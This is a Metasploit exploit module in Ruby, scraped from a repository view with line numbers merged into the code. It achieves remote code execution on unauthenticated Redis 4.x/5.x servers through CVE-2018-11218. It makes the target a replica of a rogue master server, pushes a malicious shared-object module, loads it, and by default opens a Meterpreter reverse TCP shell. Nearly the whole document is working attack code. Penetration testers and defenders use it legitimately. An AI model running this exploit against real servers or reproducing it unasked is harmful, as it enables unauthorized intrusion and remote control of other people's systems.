Path: blob/master/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
31211 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper11include Msf::Auxiliary::Redis12include Msf::Module::Deprecated1314moved_from 'exploit/linux/redis/redis_unauth_exec'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Redis Replication Code Execution',21'Description' => %q{22This module can be used to leverage the extension functionality added since Redis 4.0.023to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis24which called replication between master and slave.25},26'License' => MSF_LICENSE,27'Author' => [28'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module29],30'References' => [31[ 'CVE', '2018-11218' ],32[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],33[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']34],3536'Platform' => 'linux',37'Arch' => [ARCH_X86, ARCH_X64],38'Targets' => [39['Automatic', {} ],40],41'DefaultOptions' => {42'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',43'SRVPORT' => '6379'44},45'Privileged' => false,46'DisclosureDate' => '2018-11-13',47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [ SERVICE_RESOURCE_LOSS ],50'Reliability' => [ REPEATABLE_SESSION ],51'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]52}53)54)5556register_options(57[58Opt::RPORT(6379),59OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])60]61)6263register_advanced_options(64[65OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),66OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),67OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])68]69)70deregister_options('URIPATH', 'THREADS', 'SSLCert')71end7273#74# Now tested on redis 4.x and 5.x75#76def check77connect78# they are only vulnerable if we can run the CONFIG command, so try that79return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/8081if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data82report_redis(redis_version)83end8485unless redis_version86return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')87end8889# Only vulnerable to version 4.x or 5.x90version = Rex::Version.new(redis_version)91if version >= Rex::Version.new('4.0.0')92return CheckCode::Vulnerable("Redis version is #{redis_version}")93end9495CheckCode::Safe96ensure97disconnect98end99100def has_check?101true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis102end103104def exploit105if check_custom106@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)107@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"108else109@module_init_name = 'shell'110@module_cmd = 'shell.exec'111end112113if srvhost == '0.0.0.0'114fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')115end116117#118# Prepare for payload.119#120# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.121# It's only worked on linux system.122#123# 2. Use compiled payload, it's avaiable on all OS, however more detectable.124#125if check_custom126buf = create_payload127generate_code_file(buf)128compile_payload129end130131connect132133#134# Send the payload.135#136redis_command('SLAVEOF', srvhost, srvport.to_s)137redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)138::IO.select(nil, nil, nil, 2.0)139140# start the rogue server141start_rogue_server142# waiting for victim to receive the payload.143Rex.sleep(1)144redis_command('MODULE', 'LOAD', "./#{module_file}")145redis_command('SLAVEOF', 'NO', 'ONE')146147# Trigger it.148print_status('Sending command to trigger payload.')149pull_the_trigger150151# Clean up152Rex.sleep(2)153register_file_for_cleanup("./#{module_file}")154# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')155# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")156ensure157disconnect158end159160#161# We pretend to be a real redis server, and then slave the victim.162#163def start_rogue_server164begin165socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })166print_status("Listening on #{srvhost}:#{srvport}")167rescue Rex::BindFailed168print_warning("Handler failed to bind to #{srvhost}:#{srvport}")169print_status("Listening on 0.0.0.0:#{srvport}")170socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })171end172173rsock = socket.accept174vprint_status('Accepted a connection')175176# Start negotiation177loop do178request = rsock.read(1024)179vprint_status("in<<< #{request.inspect}")180response = ''181finish = false182183if request.include?('PING')184response = "+PONG\r\n"185elsif request.include?('REPLCONF')186response = "+OK\r\n"187elsif request.include?('PSYNC') || request.include?('SYNC')188response = "+FULLRESYNC #{'Z' * 40} 1\r\n"189response << "$#{payload_bin.length}\r\n"190response << "#{payload_bin}\r\n"191finish = true192end193194if response.length < 200195vprint_status("out>>> #{response.inspect}")196else197vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")198end199200rsock.put(response)201202next unless finish203204print_status('Rogue server close...')205rsock.close206socket.close207break208end209end210211def pull_the_trigger212if check_custom213redis_command(@module_cmd.to_s)214else215execute_cmdstager216end217end218219#220# Parpare command stager for the pre-compiled payload.221# And the command of module is hard-coded.222#223def execute_command(cmd, _opts = {})224redis_command('shell.exec', cmd.to_s)225rescue StandardError226nil227end228229#230# Generate source code file of payload to be compiled dynamicly.231#232def generate_code_file(buf)233template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))234File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }235end236237def compile_payload238make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')239vprint_status('Clean old files')240vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)241vprint_status(`make -C #{File.dirname(make_file)} clean`)242243print_status('Compile redis module extension file')244res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`245if res.include?('true')246print_good('Payload generated successfully! ')247else248print_error(res)249fail_with(Failure::BadConfig, 'Check config of gcc compiler.')250end251end252253#254# check the environment for compile payload to so file.255#256def check_env257# check if linux258return false unless `uname -s 2>/dev/null`.include?('Linux')259# check if gcc installed260return false unless `command -v gcc && echo true`.include?('true')261# check if ld installed262return false unless `command -v ld && echo true`.include?('true')263264true265end266267def check_custom268return @custom_payload if @custom_payload269270@custom_payload = false271@custom_payload = true if check_env && datastore['CUSTOM']272273@custom_payload274end275276def module_file277return @module_file if @module_file278279@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"280end281282def create_payload283p = payload.encoded284Msf::Simple::Buffer.transform(p, 'c', 'buf')285end286287def payload_bin288return @payload_bin if @payload_bin289290if check_custom291@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))292else293@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))294end295@payload_bin296end297end298299300